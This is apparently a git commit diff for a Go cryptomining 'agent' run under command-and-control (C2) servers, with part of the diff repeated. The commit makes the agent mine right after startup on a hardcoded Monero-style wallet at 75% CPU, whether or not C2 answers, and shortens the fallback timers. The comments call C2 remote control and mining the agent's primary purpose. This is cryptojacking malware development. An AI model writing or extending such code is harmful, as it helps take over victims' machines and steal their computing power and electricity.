feat(agent): mine immediately on startup using baked-in credentials. Reduce Stratum fallback trigger: C2 offline threshold 30s->8s, no-job threshold 60s->15s. Initialize disconnectedSince at manager start (not first tick) so hashing begins within ~10s regardless of C2 availability. C2 remains optional control layer - baked wallet+pool are always the primary source of truth. Default wallet set in builtin.go.
This commit is contained in:
@@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// needsStratumFallback returns true when either:
|
// needsStratumFallback returns true when either:
|
||||||
// - C2 is offline for > 30 seconds, OR
|
// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR
|
||||||
// - C2 is online but no mining job has been delivered in > 60 seconds
|
// - C2 is online but no mining job has been delivered in > 15 seconds
|
||||||
// (the pool proxy on the server is broken or still connecting)
|
// (the pool proxy on the server is broken or still connecting)
|
||||||
|
//
|
||||||
|
// Mining is the primary purpose of the agent; C2 provides remote control and
|
||||||
|
// job upgrades but is never required to start hashing.
|
||||||
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||||
if !c.connected.Load() {
|
if !c.connected.Load() {
|
||||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second
|
||||||
}
|
}
|
||||||
// Connected but jobless: check when the last valid job arrived.
|
// Connected but jobless: check when the last valid job arrived.
|
||||||
if raw := c.lastJobAt.Load(); raw != nil {
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
lastJob := raw.(time.Time)
|
lastJob := raw.(time.Time)
|
||||||
return time.Since(lastJob) > 60*time.Second
|
return time.Since(lastJob) > 15*time.Second
|
||||||
}
|
}
|
||||||
// Never received a job; fall back after 60s of being connected with nothing to mine.
|
// Never received a job; fall back after 15s of being connected with nothing to mine.
|
||||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||||
@@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
}
|
}
|
||||||
var fb *fallback
|
var fb *fallback
|
||||||
|
|
||||||
// disconnectedSince tracks the start of the current disconnection window.
|
// disconnectedSince is set at startup so the 8-second countdown begins
|
||||||
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
// immediately. Mining will start on baked-in credentials within ~10s unless
|
||||||
// kept until reconnection. This is also used to measure "connected but
|
// C2 connects and delivers a job first. When C2 delivers a job this is
|
||||||
// jobless" time when the server pool proxy is broken.
|
// zeroed and the fallback stops.
|
||||||
var disconnectedSince time.Time
|
disconnectedSince := time.Now()
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
@@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
}()
|
}()
|
||||||
fb = &fallback{stop: stop, wait: wait}
|
fb = &fallback{stop: stop, wait: wait}
|
||||||
if c.connected.Load() {
|
if c.connected.Load() {
|
||||||
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
} else {
|
} else {
|
||||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
return BuiltinConfig{
|
return BuiltinConfig{
|
||||||
WorkerName: "dev-worker",
|
WorkerName: "dev-worker",
|
||||||
ServerURL: "http://127.0.0.1:8989",
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
Wallet: "",
|
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
|
||||||
Threads: 4,
|
Threads: 4,
|
||||||
ThreadMode: "percent",
|
ThreadMode: "percent",
|
||||||
ThreadPercent: 75,
|
ThreadPercent: 75,
|
||||||
|
|||||||
@@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// needsStratumFallback returns true when either:
|
// needsStratumFallback returns true when either:
|
||||||
// - C2 is offline for > 30 seconds, OR
|
// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR
|
||||||
// - C2 is online but no mining job has been delivered in > 60 seconds
|
// - C2 is online but no mining job has been delivered in > 15 seconds
|
||||||
// (the pool proxy on the server is broken or still connecting)
|
// (the pool proxy on the server is broken or still connecting)
|
||||||
|
//
|
||||||
|
// Mining is the primary purpose of the agent; C2 provides remote control and
|
||||||
|
// job upgrades but is never required to start hashing.
|
||||||
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||||
if !c.connected.Load() {
|
if !c.connected.Load() {
|
||||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second
|
||||||
}
|
}
|
||||||
// Connected but jobless: check when the last valid job arrived.
|
// Connected but jobless: check when the last valid job arrived.
|
||||||
if raw := c.lastJobAt.Load(); raw != nil {
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
lastJob := raw.(time.Time)
|
lastJob := raw.(time.Time)
|
||||||
return time.Since(lastJob) > 60*time.Second
|
return time.Since(lastJob) > 15*time.Second
|
||||||
}
|
}
|
||||||
// Never received a job; fall back after 60s of being connected with nothing to mine.
|
// Never received a job; fall back after 15s of being connected with nothing to mine.
|
||||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||||
@@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
}
|
}
|
||||||
var fb *fallback
|
var fb *fallback
|
||||||
|
|
||||||
// disconnectedSince tracks the start of the current disconnection window.
|
// disconnectedSince is set at startup so the 8-second countdown begins
|
||||||
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
// immediately. Mining will start on baked-in credentials within ~10s unless
|
||||||
// kept until reconnection. This is also used to measure "connected but
|
// C2 connects and delivers a job first. When C2 delivers a job this is
|
||||||
// jobless" time when the server pool proxy is broken.
|
// zeroed and the fallback stops.
|
||||||
var disconnectedSince time.Time
|
disconnectedSince := time.Now()
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
@@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
}()
|
}()
|
||||||
fb = &fallback{stop: stop, wait: wait}
|
fb = &fallback{stop: stop, wait: wait}
|
||||||
if c.connected.Load() {
|
if c.connected.Load() {
|
||||||
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
} else {
|
} else {
|
||||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user